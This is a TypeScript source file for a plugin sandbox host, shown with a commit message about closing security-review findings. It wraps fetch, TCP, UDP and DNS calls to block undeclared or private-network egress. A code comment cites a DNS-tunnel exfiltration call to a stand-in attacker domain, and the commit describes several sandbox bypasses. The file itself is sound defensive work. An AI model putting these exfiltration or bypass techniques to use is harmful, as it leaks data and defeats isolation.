Files
TREK/server/src/nest/plugins/runtime/plugin-host-entry.ts
T
Maurice b16a7d7b77 fix(plugins): close the 4 PARTIAL findings + regressions from the fix-verify pass
A second adversarial pass over the first remediation found four findings only
partially closed and five issues the fixes themselves introduced. This closes
them:

Partial → closed
- re-consent gate keyed on `granted.length > 0`, so a plugin first activated with
  ZERO permissions (granted '[]') was treated as never-consented and a later
  widening was granted silently. Now discovery marks a never-consented plugin with
  granted_permissions '' and activate() gates on "ever consented" (any non-empty
  string, including '[]').
- db:own DoS: block WITH RECURSIVE outright (the one construct that spins the
  synchronous host unboundedly regardless of the size/row caps, via query OR exec).
- dgram: also wrap `new dgram.Socket(...)` (bypassed createSocket) to inject the
  IP-vetting lookup, and lock createSocket/Socket.
- frame self-navigation: documented as a bounded best-effort mitigation (inherent
  to sandboxed iframes; exposure is the plugin's own routes + already-held context,
  never the httpOnly cookie).

Regressions introduced by the first pass → fixed
- proxy: only real redirects (301/302/303/307/308) are gated, to a RELATIVE in-app
  Location (supports OAuth-callback bounce, blocks open redirect); 300/304 pass
  through; attachment only on non-redirects.
- supervisor: measure RSS via /proc/<pid>/status VmRSS (page-size independent);
  activation-timeout awaits kill() before disposing the db handle.
- manifest HOST_RE: allow single-label hosts (self-hoster sibling services) while
  keeping wildcards multi-label; mirrored in the SDK + frame CSP filter.

Regression tests added (re-consent incl. the '[]' case, WITH RECURSIVE + row cap,
single-label host). 236 plugin tests + 24 SDK tests green.
2026-07-04 19:11:23 +02:00

364 lines
17 KiB
TypeScript

/**
* The isolated plugin child bootstrap (#plugins, M1).
*
* Runs as a forked node process (`dist/nest/plugins/runtime/plugin-host-entry.js`)
* with a scrubbed env — NO JWT_SECRET, NO db path, NO inherited process.env. It
* loads the plugin's own code and turns every ctx call into an RPC message to
* the parent, which is the only side holding real capabilities.
*
* MUST NOT import any privileged server module (db, config, websocket). Its only
* imports are the pure protocol + SDK.
*/
import path from 'node:path';
import net from 'node:net';
import dns from 'node:dns';
import dgram from 'node:dgram';
import { createRequire } from 'node:module';
import { createPluginContext, type ChildTransport, type PluginContext, type PluginDefinition } from './plugin-sdk';
import { isBlockedIp, makeHostAllow, classifyConnect, dgramSendTarget, dgramConnectTarget } from './egress-policy';
import type { Envelope, RpcError } from '../protocol/envelope';
const pluginId = process.argv[2] || process.env.TREK_PLUGIN_ID || 'unknown';
const pluginDir = process.argv[3] || '';
let pluginConfig: Record<string, unknown> = {};
const pending = new Map<string, { resolve: (v: unknown) => void; reject: (e: Error) => void }>();
let seq = 0;
function send(msg: Envelope): void {
process.send?.(msg);
}
const transport: ChildTransport = {
rpc(method, params) {
return new Promise((resolve, reject) => {
const id = `${++seq}`;
pending.set(id, { resolve, reject });
send({ k: 'req', id, method, params });
});
},
emit(topic, data) {
send({ k: 'evt', topic, data });
},
};
let def: PluginDefinition | null = null;
let ctx: PluginContext | null = null;
async function boot(config: Record<string, unknown>): Promise<void> {
try {
// createRequire works whether this bootstrap runs as CJS (prod dist) or ESM
// (tsx in tests), so `require` being undefined in ESM never bites us.
const entry = path.join(pluginDir, 'server', 'index.js');
const requirePlugin = createRequire(entry);
const mod = requirePlugin(entry);
def = mod && mod.default ? (mod.default as PluginDefinition) : (mod as PluginDefinition);
ctx = createPluginContext(pluginId, config, transport);
if (typeof def.onLoad === 'function') await def.onLoad(ctx);
// Report the declared routes (with their index = routeId) and job ids so the
// host can proxy HTTP and schedule jobs without re-parsing the manifest.
const routes = (def.routes ?? []).map((r, i) => ({ i, method: r.method, path: r.path, auth: r.auth !== false }));
const jobs = (def.jobs ?? []).map((j) => j.id);
send({ k: 'evt', topic: 'loaded', data: { routes, jobs } });
// An immediate first heartbeat confirms liveness without waiting a full interval.
send({ k: 'evt', topic: 'heartbeat', data: { rss: process.memoryUsage().rss } });
} catch (e) {
send({ k: 'evt', topic: 'load-error', data: { message: errMsg(e), stack: errStack(e) } });
}
}
/** Handle a host→child request: run a declared route or job with the plugin ctx. */
async function handleInvoke(req: { id: string; method: string; params: Record<string, unknown> }): Promise<void> {
const respond = (ok: boolean, payload: unknown) =>
send(
ok
? { k: 'res', id: req.id, ok: true, result: payload }
: { k: 'res', id: req.id, ok: false, error: { code: 'PLUGIN_ERROR', message: String(payload) } },
);
try {
if (!def || !ctx) throw new Error('plugin not loaded');
// A per-invocation ctx tagged with this invoke's id, so the host binds trip
// reads to the invocation's authenticated user (routes) / refuses them (jobs).
const invCtx = createPluginContext(pluginId, pluginConfig, transport, req.id);
if (req.method === 'invoke.route') {
const routeId = req.params.routeId as number;
const route = def.routes?.[routeId];
if (!route) throw new Error(`no route ${routeId}`);
const pluginReq = req.params.req as Parameters<NonNullable<typeof route.handler>>[0];
const result = await route.handler(pluginReq, invCtx);
respond(true, result);
} else if (req.method === 'invoke.job') {
const jobId = req.params.jobId as string;
const job = def.jobs?.find((j) => j.id === jobId);
if (!job) throw new Error(`no job ${jobId}`);
await job.handler(invCtx);
respond(true, { ok: true });
} else {
respond(false, `unknown invoke ${req.method}`);
}
} catch (e) {
respond(false, errMsg(e));
}
}
async function shutdown(): Promise<void> {
try {
if (def && typeof def.onUnload === 'function' && ctx) await def.onUnload(ctx);
} catch {
/* best effort */
}
clearInterval(heartbeat);
process.exit(0);
}
process.on('message', (raw: unknown) => {
const msg = raw as Envelope;
if (!msg || typeof msg !== 'object') return;
if (msg.k === 'req') {
// A host→child invoke (route / job).
void handleInvoke({ id: msg.id, method: msg.method, params: (msg.params ?? {}) as Record<string, unknown> });
return;
}
if (msg.k === 'res') {
const p = pending.get(msg.id);
if (!p) return;
pending.delete(msg.id);
if (msg.ok) {
p.resolve(msg.result);
} else {
const em = (msg as RpcError).error;
p.reject(new Error(`${em.code}: ${em.message}`));
}
return;
}
if (msg.k === 'evt') {
if (msg.topic === 'init') {
const d = msg.data as { config?: Record<string, unknown>; egress?: string[] };
pluginConfig = d.config ?? {};
installEgressGuard(d.egress ?? []);
void boot(pluginConfig);
} else if (msg.topic === 'shutdown') void shutdown();
}
});
/**
* Restrict the plugin's outbound network to its declared egress hosts. With no
* declared egress, ALL outbound is blocked. Wildcards like `*.host` match any
* subdomain.
*
* Four channels are covered, so a plugin can't sidestep one with another:
* 1. `globalThis.fetch` is wrapped (early hostname reject).
* 2. `net.Socket.prototype.connect` is wrapped — the single TCP choke point that
* node:http / node:https / node:net / node:tls AND undici/fetch all funnel
* through. Here we additionally RESOLVE the destination and refuse any
* private/loopback/link-local/metadata/CGNAT/ULA address (SSRF + DNS-rebinding
* backstop), pinning the resolved IP into the connect so the name can't flip
* to an internal address between check and connect.
* 3. `dgram.Socket` send/connect (UDP) — TCP-only wrappers would leave UDP open
* as a data-exfiltration channel; the explicit destination is allowlisted +
* private-IP-checked like a TCP connect.
* 4. The `dns` resolver family (module fns, `dns.promises`, `Resolver.prototype`)
* — a plugin could otherwise tunnel data out inside DNS queries to a name it
* never declared (dns.resolveTxt('secret.attacker.com')); every forward lookup
* is rejected unless the queried name is a declared host.
*
* Under the OS permission model the child also cannot spawn a fresh process or
* load a native addon to escape these wrappers. A kernel/network-namespace
* guarantee still belongs to the container runtime. Set
* TREK_PLUGIN_ALLOW_PRIVATE_EGRESS=on to permit private/internal targets (e.g. a
* self-hoster's sibling service) — default is the secure, block-private policy.
*/
function installEgressGuard(egress: string[]): void {
const allowed = makeHostAllow(egress);
const blockPrivate = (process.env.TREK_PLUGIN_ALLOW_PRIVATE_EGRESS ?? '').toLowerCase() !== 'on';
// The wrappers below are the ONLY egress choke point (the OS --permission model
// does not restrict the network). Deny the low-level escape hatch a plugin could
// use to build a raw socket handle BELOW those wrappers. node:net/dns/dgram/http
// are already imported above, so they keep their captured bindings; only fresh
// access via process.binding is cut off.
for (const name of ['binding', '_linkedBinding'] as const) {
try {
Object.defineProperty(process, name, {
value: () => { throw new Error(`egress: process.${name} is disabled for plugins`); },
writable: false, configurable: false,
});
} catch { /* already locked / non-configurable */ }
}
const realFetch = globalThis.fetch;
if (typeof realFetch === 'function') {
globalThis.fetch = ((input: unknown, init?: unknown) => {
const url = typeof input === 'string' ? input : (input as { url?: string })?.url ?? String(input);
let host: string;
try {
host = new URL(url).hostname.replace(/^\[/, '').replace(/\]$/, '');
} catch {
return Promise.reject(new Error('egress: invalid url'));
}
if (!allowed(host)) return Promise.reject(new Error(`egress: ${host} is not in the plugin's declared hosts`));
return (realFetch as (i: unknown, n: unknown) => Promise<unknown>)(input, init);
}) as typeof fetch;
}
// Capture the real resolvers before we patch the dns module below, so the
// connect guard keeps resolving even though direct dns.* calls get gated.
const realLookup = dns.lookup.bind(dns);
// A DNS lookup that refuses to resolve a name to a blocked address; injected
// into every hostname connect so the socket only ever reaches a vetted IP.
const guardedLookup = (
hostname: string,
options: unknown,
cb: (err: Error | null, address?: unknown, family?: number) => void,
): void => {
const opts = typeof options === 'function' ? {} : options;
if (typeof options === 'function') cb = options as typeof cb;
realLookup(hostname, opts as dns.LookupOptions, (err, address, family) => {
if (err) return cb(err, address as unknown, family);
const list = Array.isArray(address) ? address : [{ address: address as string }];
for (const a of list) {
if (blockPrivate && isBlockedIp((a as { address: string }).address)) {
return cb(new Error(`egress: ${hostname} resolves to a blocked address (${(a as { address: string }).address})`));
}
}
cb(null, address as unknown, family);
});
};
const proto = net.Socket.prototype as unknown as { connect: (...a: unknown[]) => unknown };
const realConnect = proto.connect;
proto.connect = function (this: unknown, ...args: unknown[]): unknown {
const target = classifyConnect(args, (s) => net.isIP(s) !== 0);
if (target.kind === 'local') return realConnect.apply(this, args); // unix socket / pipe
if (!allowed(target.host)) {
throw new Error(`egress: ${target.host} is not in the plugin's declared hosts`);
}
if (target.kind === 'literal-ip') {
if (blockPrivate && isBlockedIp(target.host)) {
throw new Error(`egress: ${target.host} is a blocked address`);
}
return realConnect.apply(this, args);
}
// Hostname: inject the resolving guard. Preserve an existing lookup by
// wrapping the args' options object.
const first = args[0];
const options = first && typeof first === 'object' ? { ...(first as object) } : { host: target.host, port: args[0] };
(options as { lookup?: unknown }).lookup = guardedLookup;
const rest = first && typeof first === 'object' ? args.slice(1) : args.slice(typeof args[1] === 'string' ? 2 : 1);
return realConnect.call(this, options, ...rest);
};
// Refuse an outbound UDP target the plugin never declared, or a private one.
// A null target means "no explicit address" (connected remote / localhost
// default) — the connect wrapper below already vetted connected sockets.
const guardDatagram = (host: string | null): void => {
if (host === null) return;
if (!allowed(host)) throw new Error(`egress: ${host} is not in the plugin's declared hosts`);
if (blockPrivate && net.isIP(host) !== 0 && isBlockedIp(host)) {
throw new Error(`egress: ${host} is a blocked address`);
}
};
const dgramProto = dgram.Socket.prototype as unknown as {
send: (...a: unknown[]) => unknown;
connect: (...a: unknown[]) => unknown;
};
const realSend = dgramProto.send;
dgramProto.send = function (this: unknown, ...args: unknown[]): unknown {
guardDatagram(dgramSendTarget(args));
return realSend.apply(this, args);
};
const realDgramConnect = dgramProto.connect;
dgramProto.connect = function (this: unknown, ...args: unknown[]): unknown {
guardDatagram(dgramConnectTarget(args));
return realDgramConnect.apply(this, args);
};
// A dgram HOSTNAME target is resolved via the socket's `lookup` before the packet
// is sent; force the IP-vetting guardedLookup so a declared name that resolves to
// a private/metadata address is refused (the TCP path's rebind backstop, for UDP).
const injectLookup = (arg: unknown): { type?: unknown; lookup: unknown } =>
typeof arg === 'string' ? { type: arg, lookup: guardedLookup } : { ...(arg as object), lookup: guardedLookup };
const dgramApi = dgram as unknown as { createSocket: (...a: unknown[]) => unknown; Socket: new (o?: unknown, cb?: unknown) => unknown };
const realCreateSocket = dgramApi.createSocket;
dgramApi.createSocket = function (this: unknown, ...args: unknown[]): unknown {
args[0] = injectLookup(args[0]);
return realCreateSocket.apply(this, args);
};
// Also cover `new dgram.Socket(...)`, which bypasses createSocket entirely.
const RealDgramSocket = dgramApi.Socket;
const GuardedDgramSocket = function (options?: unknown, cb?: unknown): unknown {
return new RealDgramSocket(injectLookup(options), cb);
} as unknown as new (o?: unknown, cb?: unknown) => unknown;
(GuardedDgramSocket as unknown as { prototype: unknown }).prototype = RealDgramSocket.prototype;
// Lock the wrapped choke points so a plugin can't restore the originals.
const lock = (obj: object, key: string, value: unknown) => {
try { Object.defineProperty(obj, key, { value, writable: false, configurable: false }); } catch { /* noop */ }
};
lock(proto, 'connect', proto.connect);
lock(dgramProto, 'send', dgramProto.send);
lock(dgramProto, 'connect', dgramProto.connect);
lock(dgramApi as unknown as object, 'createSocket', dgramApi.createSocket);
lock(dgramApi as unknown as object, 'Socket', GuardedDgramSocket);
// Gate the dns resolver family: a forward lookup for an undeclared name is a
// DNS-tunnel exfiltration channel even when no socket is ever opened. The name
// itself must be a declared host. Covers the callback module fns, the promise
// API, and per-Resolver instances (which share Resolver.prototype).
const DNS_METHODS = [
'lookup', 'resolve', 'resolve4', 'resolve6', 'resolveAny', 'resolveCaa', 'resolveCname',
'resolveMx', 'resolveNaptr', 'resolveNs', 'resolvePtr', 'resolveSoa', 'resolveSrv', 'resolveTxt',
];
const gateDnsMethods = (obj: Record<string, unknown> | undefined): void => {
if (!obj) return;
for (const name of DNS_METHODS) {
const real = obj[name];
if (typeof real !== 'function') continue;
obj[name] = function (this: unknown, hostname: unknown, ...rest: unknown[]): unknown {
if (typeof hostname === 'string' && !allowed(hostname)) {
const err = new Error(`egress: DNS lookup for ${hostname} is not in the plugin's declared hosts`);
const cb = rest.find((a) => typeof a === 'function') as ((e: Error) => void) | undefined;
if (cb) return cb(err); // callback API
return Promise.reject(err); // promise API (dns.promises / Resolver)
}
return (real as (...a: unknown[]) => unknown).call(this, hostname, ...rest);
};
}
};
gateDnsMethods(dns as unknown as Record<string, unknown>);
gateDnsMethods(dns.promises as unknown as Record<string, unknown>);
const resolverProto = (dns as unknown as { Resolver?: { prototype: Record<string, unknown> } }).Resolver?.prototype;
gateDnsMethods(resolverProto);
const promisesResolverProto = (dns.promises as unknown as { Resolver?: { prototype: Record<string, unknown> } })?.Resolver?.prototype;
gateDnsMethods(promisesResolverProto);
}
// Ask the host for the init payload (instance config), then wait for it.
send({ k: 'evt', topic: 'hello', data: {} });
// Liveness — unref so it never keeps the process alive on its own.
const heartbeat = setInterval(() => {
send({ k: 'evt', topic: 'heartbeat', data: { rss: process.memoryUsage().rss } });
}, 5000);
heartbeat.unref?.();
// A plugin that throws asynchronously must not take the host down — it only
// crashes THIS child, which the supervisor detects and restarts/disables.
process.on('uncaughtException', (e) => {
send({ k: 'evt', topic: 'load-error', data: { message: errMsg(e), stack: errStack(e) } });
process.exit(1);
});
process.on('unhandledRejection', (e) => {
send({ k: 'evt', topic: 'load-error', data: { message: errMsg(e), stack: errStack(e) } });
process.exit(1);
});
function errMsg(e: unknown): string {
return e instanceof Error ? e.message : String(e);
}
function errStack(e: unknown): string | undefined {
return e instanceof Error ? e.stack : undefined;
}